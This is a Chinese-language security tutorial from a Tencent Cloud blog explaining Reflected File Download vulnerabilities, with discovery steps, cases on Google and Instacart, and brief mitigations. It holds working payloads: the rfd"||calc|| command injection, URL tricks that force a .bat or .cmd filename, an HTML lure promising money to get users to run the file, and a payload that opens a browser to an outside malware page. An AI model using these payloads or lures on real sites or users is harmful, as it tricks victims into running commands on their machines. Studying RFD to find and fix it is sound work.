前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RFD漏洞原理浅析

RFD漏洞原理浅析

作者头像
Al1ex
发布2024-04-28 10:04:28
700
发布2024-04-28 10:04:28
举报
文章被收录于专栏:网络安全攻防网络安全攻防
基本介绍

RFD(Reflected File Download)即反射型文件下载漏洞,2014年在BlackHat中被提出,该漏洞在原理上类似XSS,在危害上类似DDE,攻击者可以通过一个URL地址使用户下载一个恶意文件,从而危害用户的终端PC,不过这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal和其他许多公司认为这是一个中危漏洞

漏洞原理

下面从一个实例理解RDF漏洞,我们通过Google搜索的返回包json格式大致如下:

由此可见,我们的输入在返回包处反射输出,我们添加双引号后输出结果变更如下:

可以看到输入的双引号被转义了,之后我们构造以下的payload:

代码语言:javascript
复制
rfd"||calc||

到这里仍没什么问题,之后我们尝试在命令行里运行这个回显内容,首先我们再这里仅在命令行下运行前半部分内容,此时会发现这里会报错误信息

代码语言:javascript
复制
{"results":["q", "rfd\"||calc||","I love rfd"]}

故而证明前半部分为false:

之后我们运行一下内容会直接弹出calc

代码语言:javascript
复制
{"results":["q", "rfd\"||calc||","I love rfd"]

发现在显示"文件名或目录不存在"的同时会执行我们的管道符后的命令calc并弹出计算器,整个解析过程实际为:

下面我们看一下整个流程,首先用户向服务器端发送请求,此时在回显数据报中我们传入的参数数据原样输出:

之后我们改造URL通过利用和DDE相似的攻击方法让回显内容作为一个bat文件下载,这一点可以通过分号(;)或结合社工的方式来实现

备注:URL中分号;是个保留字符,类似连接符,现已废除

漏洞挖掘

根据漏洞触发的三个条件挖掘漏洞:

  • 输入反射:用户输入被"反射"到响应内容
  • 文件名可控:URL允许接受用户的其他输入,攻击者将其用于把文件扩展名设置为可执行扩展名
  • 诱导下载操作:响应被作为文件里内容进行下载,通过控制Content-Type或者在VPS上创建一个HTML文件并设置download属性,诱导点击下载

简易测试示例:

Step 1:验证JSON/JSONP API的响应并检查是否得到了任何用户输入,从下面的示例中您可以看到first_name,last_name和ph反射在JSON响应中

代码语言:javascript
复制
#请求示例
https://some.website.com/api/v1.0/get_user_profile

#响应示例:
{
"data": {
        "id": "1239985",
        "domain": "website.com",
        "ph": "6456787984",
        "first_name": "DemoTest",
        "last_name": "LastRFD",
        "version": "5",
        }
}

Step 2:通过输入RFD有效负载rfd"||calc||到first_name和last_name字段,验证JSON/JSONP响应(如果它像rfd"||calc|| 一样反射回来,那么就有RFD的可能性),要完全验证它需要将响应复制并保存为filename.bat,使用cmd提示打开它,可以看到窗口calc弹出了

代码语言:javascript
复制
{
    "data": {
        "id": "1239985",
        "domain": "website.com",
        "ph": "6456787984",
        "first_name": "rfd\"||calc||",
        "last_name": "rfd\"||calc||",
        "version": "5",
     }
}

Step 3:构造文件名

如果我们在IE 11中命中JSON/JSONP API URL,我们可以看到响应将以somefileName.json的形式下载,文件名主要取决于http Content-Disposition标头和URL,而要利用此漏洞,我们需能够将文件格式更改为.cmd,.bat或.exe才能执行

例如:Content-Disposition: userprofile.json,此时的文件将以Content-Disposition标头中提到的相同名称下载,因此我们无法利用它,我们需要转到下一个可能性,例如:没有Content-Disposition标头的响应,如果Content-Disposition响应标头中没有返回文件名属性,浏览器将被迫根据URL确定下载文件的名称,例如:https://some.website.com/api/v1.0/get_user_profile,此时我们可以使用以下有效负载来绕过此文件名:

代码语言:javascript
复制
get_user_profile.bat
get_user_profile;setup.bat
get_user_profile/setup.bat
get_user_profile;/setup.bat
get_user_profile;/setup.bat;

Step 4:下载文件操作,下面给出一个HTML模板,此时如果用户打开html页面,单击链接,文件将下载为setup.cmd

代码语言:javascript
复制
<! DOCTYPE html>
<html>
<body>
  <p>Click the Image and open the file: You will be rewarded with $800<p>
  <a href="https://some.website.com/api/v1.0/get_user_profile/setup.cmd?" download>
  <img border="0" src="https://some.website.com/api/v1.0/get_user_profile/setup.cmd?" alt="8000 Dollars" width="104" height="142"></a>
</body>
</html>

以上整个利用路径为:

代码语言:javascript
复制
用户点击URL链接->下载文件->打开文件->恶意命令执行
简易案例
Google

这是Oren Hafif在google利用的例子,在facebook中插入的一个google超链接,如下形式内容:

代码语言:javascript
复制
https://www.google.com/s;/Glasslnstaller.bat;/Glasslnstaller.bat?gs_ri=psy-ab&q=%22%7c%7c%74….

点击后会下载一个bat文件到本地,下载后直接运行效果如下:

在该恶意bat文件中我们可以写入恶意命令,例如:shutdown等之后使其执行,在这个构造过程中,我们先用了一个双引号闭合掉了前面的不可控的双引号,然后利用||符号(命令行中||表示逻辑"或")保证命令成功执行

Instacart

请求https://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1,之后发现term参数回显:

代码语言:javascript
复制
{"meta":{"code":200,"source":"search_service","cluster":null},"data":{"term":"rfd","inventory_area_id":617,"items":[],"total_results":0,"aisles":[],"warehouses":[],"search_strategies":[],"tracking":{},"product_type_filter":false,"has_deals":false,"search_id":141585110},"pagination":{"total":0,"page":1,"per_page":50}}

之后将term参数修改为以下payload:

代码语言:javascript
复制
"||start chrome davidsopas.com/poc/malware.htm||

创建html文件诱导下载:

修复措施
  • 使用CSRF令牌
  • 为所有API实施安全标头
  • 使用Content-Disposition标题强制文件名
参考链接

https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-25,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本介绍
  • 漏洞原理
  • 漏洞挖掘
  • 简易案例
    • Google
      • Instacart
      • 修复措施
      • 参考链接
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
      http://www.vxiaotou.com